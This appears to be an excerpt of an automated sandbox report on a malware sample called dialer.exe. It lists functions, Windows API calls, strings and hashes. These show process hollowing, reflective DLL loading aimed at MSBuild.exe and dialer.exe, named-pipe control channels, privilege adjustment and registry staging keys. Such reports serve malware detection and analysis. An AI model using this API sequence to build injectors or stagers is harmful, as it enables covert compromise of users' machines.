Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

@, xrefs: 0000000140001401
dialer.exe, xrefs: 00000001400011CC
MSBuild.exe, xrefs: 00000001400011B8
ReflectiveDllMain, xrefs: 000000014000139D

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
RtlFreeHeap.NTDLL ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
RtlFreeHeap.NTDLL ref: 0000000140001651

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

M, xrefs: 0000000140002C6E
\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: RtlFreeHeap.NTDLL ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000011.00000002.3055565921.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.3055221611.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056050499.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.3056708208.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
